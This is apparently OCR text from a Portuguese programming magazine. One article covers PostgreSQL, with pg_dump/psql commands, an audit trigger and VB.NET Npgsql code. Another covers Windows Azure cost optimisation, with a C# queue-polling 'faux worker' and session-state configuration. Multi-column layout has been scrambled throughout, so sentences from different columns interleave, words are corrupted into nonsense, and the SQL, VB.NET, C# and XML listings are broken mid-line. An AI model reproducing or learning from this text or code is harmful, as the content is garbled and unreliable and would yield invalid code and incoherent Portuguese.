bramos: Oracle, SQL Server e My 0@la. umaass re&pisdamraptecaa«o de
tivas, desde solu-»es propri ett8ersitaess.a Barog etms popgnamsmadpce.sed

PostgreSQL, usual mente denomi dad@gedt«®Podegbases ®deamdados, ®
das bases de dados que tem dpmodstcadpammatwumi aambieeret e de tes
confian-a nos Y timos anos e,plpdr cames, comdremes cdreispttaiqu e

nesta edi-«o, de modo a rnOtIVDadosdoservidordeprodugélo: ptar

um robusto e apetrechado SGBD.post: 192.168.69.1
. porta: 5432
Embora pouco divulgado em Por schema my application_schema

meros adeptos e boas comuni da Dadosdoservidor de testes:
host: 192.168.69.2

® um dos principais imp.ulsiorporta:5431
SGBD, com uma boa comuni dade schema my application_schema
mador es sendo considerado urScript SQL para eliminar testes, no ficheiro
' drop_my_tests_application_schema.sql:
para os programadores portugu )
Naci onal Geogr8§fico utiliza o Post Gl S, 0O SIstema de I ntor ma-

-«0 Geogrg&fica do PostgreSQL, SconmoP thsa sPea rcaa rhreddg ragnf iac & Xpeacrugt ar n.
mais de 100 mil h»es de objeto: : :

robustez deste SGBD. $ pg_dump -- host 192.168.69.1 -- port 5432 --
format plain -- oids -- verbose -- file
; my_application_data_dump.sql -- schema
Faci I. mente mont amos. uma base my_application_schema
em Linux como em Windows, € $psgl -h192.168.69.2 -p 5431 -f

experientes com a i nstal a- «o drop_my_tests_application_schema.sql
$psql -h192.168.69.1 -p 5432 -f

operativos t°m solu-»es mUitOmy_application_data_dump.sql ar a
Wi ndows, a EnterpriseDB dispOIIIUIIILa Uil pacvuLc mu 1 v v uscl
friendly com uma personaliza-c??i%%%trg base de dados. Est a
empresa fornece ainda suporte a n?vel empresarial para os

diversos sistemas operativos &Maodas- dd i 4Tirgagyoeeerissi, fedphaeci ada

nal. Para os utilizadores -get DPebeitaen d & MhouSx I MPr esMemipt|agls Sal pStt e ma s

install postgcésght peseguasqumaes .ns®saspighicdol dade de. fCuoznero aRiodsi

muito r8pida. tgres, podemos criatrr iugngaent f @ ®S & 0
objetivo. Consi degemov® _aornr@dep @an

Em termos conceptuais, o0 Postgr,es, tgem ”Ej“eitashissetmerlihcao”'?%(g)ius-

com o sistema Oracle. N«o a niyebofpe@fb HULEELBL bl callt dar

base de dados e da algoritmia, pas.gmateromos 48 Caolntceeriratejcbai So-U

da estrutura de dados. Das majgres, Abspaidadmiicad®iad®e?MO%e au

a organiza-«o0o dos schemas dentsr§9igac'apap 2 prPrg-eJé)sfue'icno‘pia a

guagem PLpg/ SQL, muito id°nti Do : o

Para quem estS§ habituado a de255é¥%l\$ezlizs%ﬁ:%ﬁespondencia_historico 0

Oracl e, a passagem para o Po RETURNS®igger AS

complica-»es, dada a quanti de$BODYS$

mos encontrar na Internet muiDggéﬁ\lRE

na estas duas SGBD's, com pr o |[NSERTINTO MY APPLICATION SCHEMA

de Oracle para Postgres, o qu registo_correspondencia_audit SELECT* FROM na

utiliza-«o do Postgres como al MY_APPLICATION_SC%&gggﬁéor{gip%wggrgéaG D

Di ver sas funcionali dades gue, EﬁEDTURM\IEW

SGBD, tornam o Postgres mui t ($BODY$

clusters, organiza-«0 estrutu E%’é%g@ogﬁlpgsql VOLATILE lin-

guagem processual PLpgSQL ou ALTERFUNCTION

duas destas funcionali dades c « registo_correspondencia_historico 0

OWNERO usr_correspondencia
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Posteriormente, criamos o tri Then )
aci ma: conn.Close()
conn.Dispose()
CREATETRIGGER End If
trg_registo_correspondencia_historico Return -1
BEFOREUPDATEDR DELETE End Try
ONregisto_correspondencia End Function
FOREACHROW .
EXECUTE Leitura de dados para um dataset
PROCEDUREgisto_correspondencia_historico 0;
Tamb®m neste caso, 0O acesso a da
Liga-«o -sceriveindtoer . NET ser criada uma fun-«o0o gen®rica p:
O Postgres pode ser uti I'i zado Public Function ReturnDataSet( ByVal connString As -
mas e |linguagens de rogr ama- _ String , ByVal strsgl As String ) As Data.DataSet
g 9 U P 9 . Dim conn As New NpgsglConnection(connString)
muns ser«o, sem d%vida, PHP, . connOpen()
nNn«o Nos pro2be de programar ¢ Try
em NET Dim da As NpgsqglDataAdapter =
’ ’ New NpgsqlDataAdapter
; Dim cmd As New NpgsglCommand(strsql, conn)
A pensar pa grande.comunldade Dim ds As New Data.DataSe |
desenvolvido o projeto Npgsql da.SelectCommand = cmd i,
que permite efetuar a |iga-«o daFilds) ma
lternativa ° tradicional i conn.Close() te-
a r _ _ "9 conn.Dispose()
ra-«o mais direta e espec?2fic Return ds ) 0]
Npgsql consiste numa DLL que Catch ex As Exception
. conn.Close()
de software ou apenas copiada conn.Dispose()
ASP. NET, n«o requerendo uma it Rgturn Nothing
; . End Try
tivo. O acesso a da.dos _a pa{t'EndFunction a
se assim um dos mais simples ue¢ ot ygur wur, e, -
di stribuir.
) Considera-»es Finais
Execu-«o0 de queries
O Postgres pode er uma boa alte

Para uma determinada query cojm Ym, %?’é‘?"é%% bl:}' FR{e de dados a
UPDATE ou DELETE, podemos Crlgf)aluénﬁteu§1| «o agr|n0®ardo ?m:aoms o admidad

que execute o c¢c-digo no POStgfgélllptaéa uc,mdf’lmprene s«oiocpa sua fil
tring:

T ST Em Portugal n«o existe ainda uma
ons str As String =
"Server=192.168.69.1;Port=5432;Database=postgres; res de Postgres e poucas s«o as
Sqgcp Gb;_‘a9N_qqutnpanDmgﬁa considerando tamb®m
. ] t ®c ni espemal_izado na i mpl eme
O c-digo em VB. NET n«o dlfere muééE?DdeNoun%antanqao «OI%GUmas e mp
dados a uma base de dados Oracﬁostdar lexelmrpd ‘Que a quase tota
Public Function sqlinsert( ByVal strsql As String , Esta falta de certifica-«o e for
~ Byval connectionString As String ) As Integer pa2s poder«o desincentivar al gun
Dl GEAD 2 NeWNpgsqIConnectlo?connectionstring) res a implementar solu-»es de Po
Try al . No entant o, t al nN«o i mpede ¢
cDgrr?nCSLnemnSS New NpgsglCommand(strsgl, conn) teste e que se implementem aplic
Dimi As Integer =comm.ExecuteNonQuery tgres, pois existe muita informa
conn.Close() a come-ar pela documenta-«o ofi ci

conn.Dispose()

Return i

Catch ex As Exception

If Not conn.State = Data.ConnectionState.Closed

AUTOR

Escrito por Ricardo Trindade

portugu°°s

Escrito de acordo com 0O novo a

[ =

/w\‘ £ actual mente o responssg8vel pela 8rea inform8tica dos Servi-o
” admini stra-«o de sistemas, at® programa--kdeéems. NET8r Eat 8at amhb
\ 9 ~ z A A P 2 A
E webdesign e software, trabalhhMIn@b S&s stezh&u adNbBgdmnwvt[e SofmvBD ' {sSNIIS
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Custo Efeti vo de UuUma

A Nuvem val or que resulta da multiplica-
. de horas utilizadas mensal ment e.
O conceito de computa-«0 como_ um SeJVI'\RI n«o ® or,iginal
. "'or o k Wh, varl.a de > acordo col
mas a interpreta-«o moderna desseaconcelto ® muito diferen-
te do Qque se assistiu na d®cada de 70 com os sistemas de

timdari MNMps suas diferentes foCommase se npoweden alesmer \haorj,e o model o

em

di a, O prop-sito de: d e mocmeastnmoz aapld cad®ss®sasercur 89 sp ¥%bl

comput aclimfnmast r(uct ure J;s @o nSodewnsitoe ,polrgyjas® o wutilizador paga s

t

r

ar as €ldnuoi pdaess ednev ol vi ment o deca@bctmo»aeas miamier o de horas de

mi zando tarefas de manuten-«onéf admi mMiuet rhacuwvoe diemi a¢ r @86 mo n
trutRilrat florm as a) ;Seevidtcepoial®i®ljiazarunsodwent ual aumento do va
-»eelcom o mesmo tipo de f uncicompleindsaadleos maure wwr iagam®sci mo no
expects8veis ndesk@ppt wareoas «l$emiiece,e na receita gerada pel
Sads AssociativismAsdeccasitovoi smo- de ¢
As v8rias val®°ncias da nuvem s«oaatfhttzadas @d~DOO0e mBrgaus ansas a
das mais variadas 8reas de negusiargmeoermpbopamhoalggemasna m§qu
das caracter2sticas ¥Ynicas quehoersatse. nEosvtoa ncoadrea cot evre?i sot ipcrao pfoarz- ¢
cionar. Algumas dessas caractecra2 ssd ciast sx®sse pela nuvem e a
para o processamento em | ote.

fEl'i mina-«0 do compromisso inicial

fPagamento dos recursos mediEdPSd i£&Fifiaflepshi gpsdeade capackdade

. . . recursos s e di mensi onarem aut om
fAssociativismo de custo . .

o carga. Um servi-o el8stico ® aqu
TElasticidade poni bilizados correspondem aos r
ffRapidez de aprovisionamentqo tempo. Um servi-o n«o el 8stic

em gqgue 0S recursos n«o se adapt al
ElI'i mina-«o do compMNemitsesdas ndscienpr e -
sas t°m ao seu dispor um ou MdMsseeviidon«d kil Egséscpapa rec
iniciar um novo projeto. Na nfaliXds ap oddoesn dwas ore ddant €c @r dd gnens
t°m que ser adquiridos e por iMAs ® UpAPAdn 0p JArosurmi elcdd P Spreok-i gi d
cesso de aprova-«o. Mesmo que ®& efnehialn® sdcdiomaapdtd®vRB®ESS Hisi 0, a ¢
recursos t°m que ser instal ado&i reamediifei gouoriaSdose MatC® S&@Fe MO MO
postos ~ disposi-«o das equi pads ke MReNsUe VN0 | «\Oj nPeSnStOoC. i aTdoodsa sa € q u
estas etapas consomem recur sosdoe .t empSee.” Peerhpor esoant re8s fidr,- 0 n%m
-0 este que pode ser canali zadPO 'pabraa Xa0 a0p |Pircoab-l«€omae & «ai Mdadx ama i
a plataforma de suporte. podem abandonar a aplica-«0 como

do tempo de resposta ou ao descal
Como a nuvem responde a aumentos de carga o utilizador
da nuvem n«o se sente obrigadoNUam fSa€zlevri -u0m €plr8oSvtiisCiOo ndaSmern&CoU r s 0's
a longo prazo, podendo come-akeM ARSPpOEREYE SPRcAXckBd®S no mom

aument-asndo medida das suas ned®d8§@adPPRIsA, Pe€lliomi pakesso ou pel a

dese assim o compromisso inicipsim, a elasticidade que caract
) para servi-os com picos de tr §f
Pagamento dos recursos -mlefncalairalspearaa uste'rlv'iz-ao's«opa_ra os quais ® im

premissas da nhuvem ® a de que 0S recursos Sejam pagos

medi ante a sua utiliza-«o numRAdddleed quee asper cavR esti medpannae pabe® s i b i |
encontrado na rede de eletricdedadR! O0Wigiad Nodur tSe€reViothter. e SRorar me
exemplo, se o recurso for proeBsRiamehes emMuvez igdadsemprgygn. A

um valor que resulta da multipeintéd®-est8eaiumdathippdapel baaigli
mero de horas utilizadas mens d@lUfie nSt«ed. PEesdsi ad OtSa rajtfraa VARESH ed ap gcght axnoa
ca o pre-o por hora, varia de Oal oartdod Vc®sm Webpuo ePro rtArhput aci -
onal da inst©ncia escol hida.

Estas caracter2sticas podem ser

Numa analogia com a rede el ®tOrig@d, za- «w@®i MAsadér agag&aO uSER N UV
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somente no entusiasmo criado em torno da mesma. Um es-

tudo dattPC/ (gdo.mpls/tkrpabbdue qFaPe CPLY 0FgAd0os = disposi-«o do ut
cento das empresas portucgluewsdS 3 CRMsBFPP: 5§t g distintos:
computiinemgri dos na sua estrat®giywepdgoltecnologias de
informa-«o o que, evidencia a curiosidade que este novo
paradigma tem vindo a despertar W% k%M oR%la& organiza-»es.

fiQuase 40 por cento das empresa\{Mp%qlt%guesas t°m servi -

-0s de cloud computing inseri dpesp NReoESHt3& &S tprod tdRY ijan stk eontcs Cah -0 j
l ogias de 4IndCor n2ad-1«20 0 dar aplWel- d¥esh Rodrere o Wi ndows

O facilitismo de acesso aos r%99§ 8% tdwl% %%m%?aP'.P%f oCs' pp514|od§fe
fornecedores de servi-o tamb®npon«0acdeq,edq|erd|||nWetrolr}tseérnrpeztgelrmfl
-»es. Posto i sctloouaampadengoseo Sné Y cheSsintegrado.

tivada por uma an§lise da adeg@dprer -BAWEY %% r§Fi | eocAE¥BMdo par a
da qual deve fazer parte uma (sl Matiipad HE &PISitO@&-»eSe skndo |
novo paradigma se mostrar adeqdedionQoomeida CpAar amdckighpllaidae md as
va de custos mostrar8 que se pemerrgum!l €ampdve P\ K&l s @3R6odl eens

significativas. ser usados em conjunto. Workerxem

e seguida ser«o descritas algﬁlrﬂ?dte®6r?|déz¥]§nabo%?lm'i'?%gﬁgs ou
e custos na vers«o cl.oludmputpil e % fbsd m deboRmdjm estar encarregu
a Microsoft, o Windows Azure. “EstCa®M t%cUnliic'as? 29%Tam empr e-

s no desenvolvimento de unyms RioiCky VM UREplele &R 't &S €aNot austSiel i zador
ma aplica-«o t2pica de uma qMmhges? cdetemardgna/ @@disastema op
i mens«o (PME). O s2tio, uma dé&]d@uase vCeorMBrecsi 0d o€ WA thfd-oMwisC 0Sier v e
erviu posteriormente para a RZOSWARGar®) .deuns USd PSr e ttR2@ iec o

ma aplica-«o alopacam)sesmd meogt@an(do um utilizador tem um proc
«0 na nuvem mostrando, quer p@add afiuti dadesdpt#afdadis@ma execut
do ponto de vista financeiro fgpgueop MPhrd0 ANbibreépdPaPaltmadin
c8lculo. Estes assuntos ir«o sded PO H-adP Se £tMg dpRSNtSEC®»BESS2 VvV
di stintas: ranque da inst®©ncia. Quando exi s
ou guasdbmugo pode ser automati zad

do ¥M Rol e

Otimiza-«0o de Custos em Ambiente Windows Azure
i mportante referir que todos o

cwacaeaag
c
™

st at eploerstsant o, o utilizador n«o p

Ans8lise de umaPrSeonius-e«so Vi Nuggn]amento da m§qg|na para guarda
sita de ser persistente. Esta ®

para possibilitar a gest«o das m

Na ofecteauadmpudanyi crosoft, o Ml o®ohdrajfiacilitar a escalabi

dows Azure, ® disponibilizadad94%®ma®pththtsdrhar quenharmele meno
hospedar apPhiSa-®esetvi-o dispoPl bPfF3adde @stgravi g®e antAigd @ e me
potenciado pelo uso de tecnol oSt cpeg'\PLi‘W%tiﬂﬂWiufa-cQér&@@m’ﬂ‘@r‘é-'a
mitem que uma aplica-«o seja MfBEPEARbe e 2de M UItUtLS Hos36 sSe€g

pedadas na mesma m8quina f2gijctalver duas ou mai s |n.st©nC|as' ®
que usa pelo menos dois dom2nios

A computa-«o0o ® cobrada em CPUAQJCbrgE}a%%U@OIH§§lc,ﬁ[9blay'raéi°d’ado (Tab

varia consoante as especifica-»es do servidor virtualizado
tamb®m designado por inst©ncia ho Wi ndowRomEiakp gdkom? n5igog 4l e

. Fal ha 1 Fal ha 2
uma das configura-»es de servnang r‘ngl—v—e—v%nn_ e—lnml
fitamanhodo por exemprxtorra uSsaalidms t Omréldg lM'a (1)
1, 1 MDD ] | W] = aln it '
r\/4cleo part_|lhado a 1.0GHz e 72‘5‘6’m2n“i SR —efamer e wmea] , ()
i nst @xdira dLiasrpgree de 8 n¥cl eos a MZe b 15GB
de RAM (as especifica-»es de ca ntarltzma nodo F8|cr)1 r/e petivo i
custo podem ser cbomnsplt ddomwagb/ 8 aébgﬁlt? ntos € a a pgrade no ter
sec-«0 Cloud Services). Para al ®m dos v8rios fAtamanhoso
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Dom2nios d©O©sFdbmani os dehafradlv\ha&wibndRiclam K Ral tem 1S

reseparado ou seja, duas inst©n%|as(j\qoreer% U dlomz'nG osI S el

de falha distintos nunca V«o rSerl]rtteiglrﬁaaro_lﬁe 1/4n|Ut(50 dPo BE'PaIU
. constranglmentWesb nl%soal,esaodadso duas

l ha ou seja, n«o V«O estar hoSpedadas® no

f2sico, no mesmo bastidor ou p'a»retsi'lhar 0 mesmo switch. Se o

servidor que hospeda a i ntsarGh-cO apriilmetiirvoe rp ausnsw & @d dheh @ Rd dnaae r
ware este problema fica isol adol aasveuwnReo | darsh oir as R@MRvbadBedaj a pre
aplica-«o. O Windows Azure r etnior amoa eil s W@ b piRellj éek coi® rsp rsd segmat e
de balanceamento de car gae dlesupeywkilds seWalrR degaga n de . O m®todo
lan-ar uma nova inst©ncia numpmaaroVvipkdra ¢d mgiadefrraho Wi sanwWdb8-s Az u
v el enquanto a inst©ncia i 2 asqgsueegué amd 0o de mo&sr Vob Der VQalran e d
a aplica-«o0o voltar a ter duas (iLnsstt@ngceimasli)a alta disponibilidac
® recuperada.

A | -gica ® i mydlr mRdnd endeas mao f or ma
Dom2ni os de-Qkpgdamm?ruipogsr addee | amsari a i mpl enmWart kaerao balsej a, atrav
aplica-«0 em processos de atuadriiza-«® do® mMMSWO cMBAO nPdenti t® s
os dom2nios de falha isolhaamdachpl bc®-veridei da@add ase deexi ste alg
ware Se o wutilizador qui ser atgetlénEC@ta‘acDéIC@e«ro«oe etxiivsetri rs, o -a
mente uma iinstoOnci a o0uupwm,de iy et
Windows Azure vai parar a ins/ o e

| | . P /I Summary:

voltar a coloccrarmemaptd 0 €C@s x® ( called by Windows Azure after the role
guebra de servi-o. Se exi st i i/linstance has// been initialized. This method

2 i i /[serves as the main
dom?ni aspgdaldstintos esta atu I thread of execution for your role.

faseada numa opera-«o a ropddi y

upgr.adduml|l | i ngoupggrsdeego ® desxgema_akSZhR hod to impl

: : : . verride the Run method to implement your own )
m_e' ro dom2ni 9’ _dgp0| s as inst (//codetomanagetherolesexecutlon The Run P
l'izadas e reiniciadas. Quando /methodshould implementalong -running thread la
as inst©ncias s«o0 colocadas n cthatcarriesout operations for the role. P -

. - c'

za-«0 ® feitaupor ad«bgna_lnmtoe.d eDe public virtual  void Run();
n«o h8 quebra de servi-o.

Listagd®&t ddo Run na cl asse Rol eEntry
rtanto, se Wenrae apd sictaaxode e s
s beant k g rcbauvned s er uWorkEada(ﬁhoupUb“C “override void Run() {
FauxWorker();
mpl emeWeélo RBRwd ®&do para hosped}
ivermos em conta que sS«O0 nec

da tipo para qusel As aljma garl ain Private void FauxWorker() {

) . CloudQueuecClient queueClient = null ;
teriormente necessitava de ¢ CloudQueue queue = null ; )
m a adi-Wor kRorl ksEst a adi - «o int  maximumBackoff =

CloudShopConf.QueueMaximumBackoffSec;
int  minimumBackoff =
CloudShopConf.QueueMinimumBackoffSec;
int curBackoffSec = minimumBackoff;
int retries = 0;

®» 0O ™Mo~ o —+TJg
C 0> ® —To ® o

mento significativo do custc

rker Role e Web Role na mesr

=
o

Seguidamente ser8 demonstrada
hospedéerb oRolWor kern®Romesma i n:¢ try '
Tomemos como exemplo uma | oj s }ca{QQSt?Eiéaeati%%eg)e{}
desenvolvida em ASP. NET 4 que P
para registo de wutilizadores while (true ) (0]
envio de emails ® uma tarefa
. /IRepresenta uma mensagem na queue
para ser exbeaccuktgargoourredns s o, a s CloudQueueMessage msg = queue.GetMessage();
seria a de acWoerskceern tRaosloetsot 8 o . ,
do o envio de emails n«o ® u #Se(r?]gst(lezumnztlrpﬂsagem para processar
exigente pelo que ® excessivo --1 rclr_rgt_g n_p_ cy¥tc@sr
mesmo, uma sS- inst®©ncia em ex retries = 3;
//Algorltmo backoff passa para o intervalo de
Para que se fa-a um aproveit a//ttmpomincadavezqueencontraumamsg para ;
. . Ier
di spon2veis, baskgawweddserdehos curBackoffSec = minimumBackoff;
nas mesmas instO©ncias wusadas | /IAbre a mensagem que contem o tipo
foi mencionado anteriormente . - BC mncp_«Om BYCasl ¢ &_Illi)%ac
--pceggrm _ggmag_bm I m R_ I m
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das mens aglEea.se na

String str_msg = msg.AsString;

SHTilg [ SR ESTmeliErs = O usoquckaper mite notWdrilkcerd ®otfed s o

str_msg.Split( ;" ); . )
existem tarefas para reaWbrhaer C
--Cgamjfc _ mncp_«Om _ RYFfeas P lai dad h ind b
switch (array_ofStrTokens[0]) zpeuP lajors g ados 8 alnda o €N
{ das tarefas serem corretamente b
case "SendMail" : inst©ncias da aplica-«o.
/[Envia email
break ; d Quando oNoffkles@eRobetra umaueme ef a
case "DoSQLCmd" . . . i
//Executa comando SQL B verifica o tipo de opera-«o p
break : da mensagem a chave que | he perrt
defaublt :k' associado. Os campos necess§rios
) JEELS 4 e o emai b),® neonvfiiandaol (os dados
} A thfeaadnova itera-«o ao ciclo e
;els-eQC ' ©m cvggrgpck kclg_eglaq elf asOSpCaSCa processar. Seseexi st
{ caso contr 8rdioor,mea ptehroeapder 2 o0do d
/lthread dorme System.Threading.Thread.Sleep al goribamok df©f al gobraictkpefrfchet e mi ni
//(curBackoffSec); 1
--Qc m " _aimdd _rs_j dmp gIdcngamrp O_mn@@%rg?(mge ace.ssgs uma vez
--bm p_ m ncp°mbm bc ° _ai mdd e acegqeaews&o contabilizadas (0 ¢
if (curBackoffSec < maximumBackoff) -»es pode ser chrnswlhtddoma gd 8 disie
curBackoffSec *= 2- -«0 Data Management ).
} } Numa solu-«o0o deste tipo deve ain
} mecani smetqigg permita repetir o e
} falha. Se a aplica-«o falhar tod

Listagd®&t @@do Run na cl asse WebRgliedas pelo mee@my & mo defalha de_v
tadal eap a mensagem deveagueemaarraet i I
O esqueleto do m®todo usdaxckpgna KRE'Brodwdied ag di€¢l a e i mpe-a
growudwWeb Redte§ presente na Ligledq@@Pedhs.A Iimple-
menta-«o deste m®todo permitiu que fosse criado um falso
Workerq®Rel eorre num procesmoor di%tifnlt® dde%e(fp¥ighir uma forma
|l eEnt rg®roietno WarldcSedosa . preso Vfld ficar a exist®ncia de mensag
o s?2tio corre3wp.)epre®c dunc i onLniendPs ggn Coampost o peldmdatomRa-ol

c-digo implementado ® o segui ntS%labENyPeEi gyra 2).

Table Storage

_asp:UpdatePanel#UpdatePanell

K T T T T[] - Q
—* Faux Worker Status: [LabelWStatus]
RECEBE campos 4 SEEEEE 1 campos emai : :
doemal RECEBE chave regiso Timer - Timerl

Fig2frlaser Control para verificar mer
L OUpdate®anem painel que permite
Rtﬁ;ﬁ;g'f;;g’;gij‘°3 2 Grava chave et seu conte%do sem ser peseéd®aEkio
+ lipo de operacio p8§gina. Esta caracter?2stica adve
controlos AJAX TWiomeArSSRI.tNBDT.d oG co
— H e J AJAX, permite que um evento sej
5 regul ares (lpwrtogprrvicelsd el eevento foi
- o Web Role ] alternar Leabedxre d®HONEO e ATO DO

) ) /levento despoletado no intervalo de tempo
FigufFunlci onamento do falso Wor kjdefinido na

d . d /Ipropriedade Timerl.Interval
Quando existe uma mensagem € protected void Timerl_Tick( object sender, Even-
de com®rcio eletr-nico guar datArgse){

numa tapeldepois coloca aqunauen UpdateDynamicFields();

contendo o tipo de opera-«o a 't o
da tadel aA (chave serve de pont private void UpdateDynamicFields()
mitindo contornar a |imita-«o

/IVerifica se a queue tem mensagens por processar

21


http://goo.gl/dseuY

A PROGRAM

if (StorageFactory.GetCloudQueueMessageCount() o0 uB L OsB. Para o comprovar foram
==0 qual resultou o gré&8fico da Figul
LabelWStatus.Text=  "DONE}
LabelWStatus.ForeColor = Color.Green; 400
else 350 34,0
LabelWStatus.Text=  "TO DO" 30.0
LabelWStatus.ForeColor = Color.Red;
} 250
}
20,0
. 14[}
ListagEwme®to despoletado pelo T 150
Resumi ndo, esta t®cnicabpekg1'r0!mo ?
sejam enviadas para um process ' )
s2tio. A forma como ® feita a 50 1010 0
Wor ker, Reotlreav ®s qd e uee stoa bdeel a s , p 0.0 ] J
as duas funC|onaI|d§1d_es se manit 256 512 1024 2048 4096
se no futuro, o utilizador ne que
corram t araecfkagsrmaismdn«o preci sar = Emulador (In Proc)
t©ncias do s2tio pode faci Woen:
ker Relkhé e passar a dimensiona = Windows Azure, servico caching
de forma independente. At® | § (AppFabrcCacheSessionStoreProvider) ] da
economia de ter somente duas it Windows Azure, baseado no SQL Azure
(System.Web Providers)
Guardar vari 8veis de sess«0 na = Windows Azure, baseado em Tabelas

ableStorage SessionStateProvider
O protBWTD®oum proetadell @ed o qu a 9 )

omi ss«o, todos o0s pedlVetokso fienidteopsenao ser vi dor

dentes e n«o guardam estado acercari d®@memped idd Oasc e AAslvt ey ivariegsei s d
Durante os testes-sef @tuwadacss vvaerrii§fviedwsu detipos de armazenamento
sess«o n«o funcionavam no Wi ndogvst AZtUd ec AMANHt0i B Mo Us@dlidst o do
mais do que uma instoOnci a. De 2fsact &,12quamedqa umodgiti apader var
acede ao s?tio atrav@®se ddrumbdgeedadqli sPados em milissegundos
de sess«o0 gque ® enviado em peddddSy -Ps0eSst edd Py ESu taitviadsy ®Fs sdned o ¢
um cooklilhe ©Oess«o serve para fazMA4z On aMfemedMeMieOm- ria do proce

entre o utilizador e as vari8veghs«@uag dmaeihs obfabees &TeV idhQUlosa ed ¥ §
damos o nome de vari8veis de seSsws0 -AzRIQre)0 Micosmo0 slel ipoddid iMnigi f |
4) as vari8veis de sSess«0 S«O0 dJ@g@uagra¢dggasg N | Me Mol idle da0r nPalz%n an

cesso responss8vel por hospedar @@ apddsdo «8oABRdBNET Omlaissejdiivspe
as vari8veis s- est«o acess?vedensnAl tiandsoltnpC /e qofda G 8dd €d RPac

definidas. Acreseeque a diferen-a de desem,
Listag@onfi gura-«o do armazenamen? oC YR $arigydesegperar, apen
de 4096 vari 8veis de sess«o0 em
<sessionState  mode=" InProc "> uso chacde mem-ria s- ® justific:
</ sessionState > . . . .
fa-a uso intensivo de vari 8veis
sess«o, ficheiro Web.config para outros efeitos. Se a aplic

Como dois pedidos consecutivosPeddddm d€ert bhEZmi fRafod 8 disp»
pell mad ba@laarmcearuas inst©ncias df‘?&t‘@n?@é“@ PmpsPt 49t System. Web
gue estas possam aceder a ar ma%CeSneaMPen No® psaer'?qllrhaarblte paf 2 Pntr
gue tenham acesso " s mesmas va|a|d§\?é|°§]ab|§ s e § QR ryo-v«ipd, & FEi0zi 3,qgos tnea
v8rias op-»es de armazenamentoCr?a[nrtrlcl'r‘?ac?ée(ﬁ 'nb88er|am ter

sido utilizadas aquando do desenvpdpiNeMmtposgdaidmpdhiRde @es &dw | p @
decachdog Windows Azure pareceu,ar madéaddmdmto addeORBe$&»es em bas.
mais favor 8vel por ser previsivgelemeemipeo rmaipsy dreSmsiedos.e rO uftdqti ¢ ade
se baseacacnduemamem-ri a fazia pregygfirciddiemesret ed esSd@Portado e aprese
casse de outras op-»es baseadaspoeM«hasspagardadesmatakamente a
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2011 foi lan-ad@Promidempannomggefds pn«o se incorrer em custos d
System. Web. Providers com o proppo-nseinttoesdedaesst_bebnsp_enro ‘mSdiRd'gat ace
te oficial ao SQL Azure e ao {QL |GomMRDHGt eEdiokiiadT « o pasatatsdos
utilizada foi a 1.2 que pode sg¢& SBEin‘iPFEQV@BsdQeg??!Bg dg;
pacotes do Visual Studi o acessZVule N0 BE MY nlalh%PlosS §20 LirBmaiYer ©
Package Manager o>0Package Mangged J&° nShfal e nGhi $%L396Mi a.
5) .

Para al ®m de podeegéesoolkmemgua »u

PM> Get Package - Filter System.Web.Providers - ® inserido o uti lAifddcdr ypoGt @muipt y
Lzl Grodpve ser utilizado sempre que
Id Version que permite n«o s-, gue o0 servi
Desc datacenter, como tamb®m que seja
poss2vel de outros servi-os do
System.Web.Providers.Core 1.1 mesmo contentor e no mesmo basti
L...
Eystem.Web.Providers.LocalDb 11 An8lise de umaPrSeonius-e<so MO Nuvem
Eystem.Web.Providers 12 Esta sec-«o0o focou algumas das b
Mveclnstaller MVC4 11.1.0 ef|_0|ente ple recursos e consequ.e
A... ambiente Windows Azure. As t ®cni
Eystem.Web.Prowders.SqICE 1.1 aplicadas na loja de com®ecinosel
custos aferida na sec-«o fi-An 81l i
PM> Install - Package System.Web.Providers Premi ses VS Nuvemo.

List &dglemstal ar System. Web. Providers atrav®s do gestor de pacotes do
Vi sual Studio
Esta sec-«0 compar a, do ponto de
Findo o download do pacote bagtjao@p®iemicddbms’ u ma® sPofl0u-to® nlaMan uv e
refer®ncia a fAiSystem. Web. Provigder sOmpPrag g@du elsU €d 8d ofse I é @§M&N4 &t i c o
de desenvolvimento se encarregnhg oda | d¢ &dWa- <O nfer cfiioC NeGiet r . nic

ros de configura-«o Web.confi gdeWaebriMiintaad%QVQSEQWGéf@ﬁ?d@a”amen'
to das vari8§veis de sess«0 na base de dados (Listagem 6).
As caracter2sticas dolLcje®nAdps ¢
<sessionState = mode=" Custont'
customProvider ="DefaultSessionProvider "> tr®m na Tabela 2.
<providers > ) )
<add name=" DefaultSessionProvider " type = Virtualiza-gbParallelshViptubaggo. ¢l /Fv71lv
" System.Web.Providers.DefaultSessionStateProvider
, System.Web.Providers, Version=1.0.0.0,
Culture=neutral, PublicKeyToken=31bf3856ad364e35 " Processador [lIntel Xeon E5420 @ 2,50[GHz
connectionStringName =" SQLServerConnectionString "
applicationName ="CloudShop" />
</ providers >

N¥sme r oC odree s 4

</ sessionState >

Me m- rRiAav 8 GB

Listag@mnfei gura-«o do armazenamento dgs| vari 8veis de sess«o, defini-

-«0 da ConnectionString no fic eiA’romavéeebn.acnbennfid’gd'scoS 178 (Raid 1 + [Hotspze
Em termos de configura-«o ® apenas requerido gue o wutiliza-

. . . . Tabel@aracter2sticapr ami ssegvidor on
dor i nddognunee cd | patariangsua base de d 0s
SQL Azur e atrav®s doComopaseométeitende que sejam compa
ftonnection®t(iLngNamem 6). Asslmntasproxtmmanpbe das instOncias

que a aplica-«o for exeSewstsd barsf@ n@ardicaPara& €@HBepPadesempenho se
permitindo o uso de vari§veisVEk eedseols@n¥ iRhare Wad | dadds a Ve

tal qual elas estivessem ar mazZXeénadasP arsss Mag k- rFelrtf tog :mamesepp Te & tn
dor . medir o desempenho computacional
nhos das instoOnkPaa&a aMiocfr@ans,dafl td e

Zonas Geogr8ficas Medi,Lmr gE&xtra .L&ragea aomolemi ses

A guantidade de dados transferfiodoasn @timidagd osu PtSoy eddd dAidos d

ados " nuvem. Este custo aplica-se inclusive adadostrans - daLoj aprAsentes na babendkmddaakdso s
feridos entre dois servi-os dBassmaobks [A@ ug @mpsaer aetsitveos rrees-ul t o
cessitarem de fdatravessaro a Internet. Uma medida -bvia
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0 pose average 5000
| CPU Mark Result | CompestememceSN0, 45 { estes de carga que se base:
Generic Intel Xeon E5420 @ 2 50GHz 2500 BLE50515 4111.6(N/A) [~ ] Lo J a A
9 4594TINA) () ; ; ;
Windows Aaure Bidra Large Instance el Depois de efetuado o di mensionam
Windows Azure Large Instance 2516.8(N/A) ) r a fase, calcul ados 0s cust os as
Windows Azure Medium Instance 1345304 . como oodgaalmdjado | ocal mente. For
Windows Azure Small Instance 735.9(N/A) ™ dois tipos de custo, 0O custo de
i | 1
